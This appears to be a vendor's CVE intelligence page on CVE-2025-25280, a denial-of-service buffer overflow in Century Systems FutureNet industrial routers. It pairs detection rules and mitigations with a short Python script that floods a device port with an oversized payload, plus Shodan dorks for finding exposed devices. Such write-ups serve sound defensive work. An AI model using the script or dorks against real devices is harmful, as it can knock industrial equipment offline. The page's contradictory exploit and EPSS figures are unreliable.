☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 5.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H 🐛 CWE-120
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-25280

CVE-2025-25280 Buffer Overflow in Century systems co., ltd.
📅 PUBLISHED: 2025-03-03 08:25 UTC 🔄 UPDATED: 2026-08-12 09:02 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 1.04%
👁️
1.04% probability
25.9× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS VECTOR BREAKDOWN 5.3
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: N Confidentiality None
I: N Integrity None
A: H Availability High
5.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-25280 is a buffer overflow vulnerability affecting Century Systems Co., Ltd. FutureNet AS series (Industrial Routers) and FA series (Protocol Conversion Machines). A remote, unauthenticated attacker can exploit this flaw by sending a specially crafted request, causing a denial of service (DoS) through device reboot. With a CVSS score of 5.3 (Medium), the vulnerability poses a moderate risk primarily to availability, with no impact on confidentiality or integrity. No public exploit code or proof-of-concept is currently available, and no patch has been released by the vendor. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the lack of a patch makes affected devices a potential target for targeted attacks.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
  • Base Score: 5.3 (Medium)
  • Attack Vector: Network (AV:N) – Exploitable remotely.
  • Attack Complexity: Low (AC:L) – No special conditions required.
  • Privileges Required: None (PR:N) – No authentication needed.
  • User Interaction: None (UI:N) – No user action required.
  • Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
  • Confidentiality Impact: None (C:N)
  • Integrity Impact: None (I:N)
  • Availability Impact: High (A:H) – Device reboot leads to service disruption.

Threat Level: Medium. The vulnerability is easy to exploit remotely without authentication, but the impact is limited to availability. The lack of a patch and public exploits reduces immediate risk, but industrial environments should prioritize mitigation.

Deep Dive & Mechanics

The vulnerability resides in the handling of network requests by the FutureNet AS and FA series devices. A buffer overflow occurs when the device processes a specially crafted request, likely due to insufficient bounds checking on input data. This overflow corrupts memory, leading to a system crash or reboot. The exact vulnerable component (e.g., HTTP server, SNMP handler, or proprietary protocol) is not specified, but the attack vector is network-based, suggesting an exposed service.

Root Cause: Improper validation of input length in a buffer copy operation (CWE-120: Buffer Copy without Checking Size of Input). An attacker can send a request exceeding the allocated buffer size, overwriting adjacent memory and triggering a reboot.

Attack Flow:

  1. Attacker identifies a vulnerable FutureNet device (e.g., via Shodan).
  2. Attacker crafts a malicious request (e.g., HTTP POST with oversized payload).
  3. Device processes the request, causing a buffer overflow.
  4. Memory corruption leads to a system crash and reboot.
  5. Device becomes unavailable until reboot completes (DoS).

Vulnerable vs. Patched Code

No patched code is available. The following is a hypothetical vulnerable code snippet and a patched version for illustrative purposes.

Vulnerable Code (C-style pseudocode):

void handle_request(char *input) {
    char buffer[256];
    strcpy(buffer, input); // No bounds checking
    // Process buffer...
}

Patched Code (Hypothetical):

void handle_request(char *input) {
    char buffer[256];
    strncpy(buffer, input, sizeof(buffer) - 1);
    buffer[sizeof(buffer) - 1] = '\0'; // Ensure null termination
    // Process buffer...
}

Exploitation & Lab Setup

Red Team

No public exploit code is available. A proof-of-concept can be developed using a simple Python script to send an oversized payload to the device's exposed service.

Lab Setup:

  • Target: FutureNet AS series or FA series device (firmware version unknown).
  • Attacker: Kali Linux with Python3.
  • Network: Same subnet or reachable via WAN.

Exploit Script (Hypothetical):

import socket

target_ip = "192.168.1.100"
target_port = 80  # Example port

payload = b"A" * 1000  # Oversized payload to trigger overflow

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, target_port))
sock.send(payload)
sock.close()
print("Payload sent. Device may reboot.")

Usage: Run the script against a vulnerable device. Monitor device availability (e.g., ping) to confirm reboot.

Blue Team

Detection:

  • Monitor for unusually large network packets directed at device ports (e.g., HTTP, SNMP).
  • Use network intrusion detection systems (NIDS) to flag oversized payloads.

Hunting:

  • Search logs for device reboots coinciding with network anomalies.
  • Check for repeated connection attempts with large payloads.

Mitigation:

  • Isolate affected devices on a separate VLAN.
  • Restrict access to device management interfaces via firewall rules.
  • Implement rate limiting on exposed services.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • Packets with payload size exceeding 1024 bytes targeting device ports (e.g., 80, 443, 161).
    • Repeated connection attempts from a single source IP.
  • System IOCs:
    • Unexpected device reboots without prior maintenance.
    • Memory corruption logs (if available) indicating buffer overflow.
  • File IOCs:
    • No file-based IOCs due to the nature of the vulnerability.

Detection Engineering

YARA Rule

rule CVE_2025_25280_Buffer_Overflow {
    meta:
        description = "Detects oversized network payloads targeting FutureNet devices"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-25280"
    strings:
        $payload = /[A-Za-z0-9]{500,}/  // Matches strings of 500+ characters
    condition:
        $payload
}

Sigma Rule

title: CVE-2025-25280 Buffer Overflow Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects oversized network packets targeting FutureNet devices
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-25280
logsource:
    category: network_connection
    product: suricata
detection:
    selection:
        dest_port:
            - 80
            - 443
            - 161
        payload_length: > 1024
    condition: selection
falsepositives:
    - Legitimate large file transfers (unlikely on industrial devices)
level: high

Suricata Rule

alert tcp $EXTERNAL_NET any -> $HOME_NET 80,443,161 (msg:"CVE-2025-25280 Buffer Overflow Attempt"; flow:to_server; content:"|41 41 41|"; depth:500; pcre:"/^.{500,}/R"; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Isolate Devices: Place FutureNet AS/FA devices on a dedicated VLAN with strict access controls.
  2. Firewall Rules: Block inbound traffic to device management ports (e.g., HTTP, SNMP) from untrusted networks.
  3. Monitor: Enable logging and monitor for unusual network patterns or device reboots.

Long-Term Actions:

  1. Vendor Contact: Reach out to Century Systems for a firmware patch or workaround.
  2. Replace Devices: If no patch is forthcoming, consider replacing affected devices with alternatives.
  3. Network Segmentation: Implement zero-trust principles for industrial control systems.

Workarounds:

  • Disable unnecessary services on the device.
  • Use a reverse proxy or VPN to limit direct exposure.

Valters IT
DevSecOps & Cyber Threat Intelligence

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

FutureNet AS
FutureNet FA
Century Systems router

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-25280/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.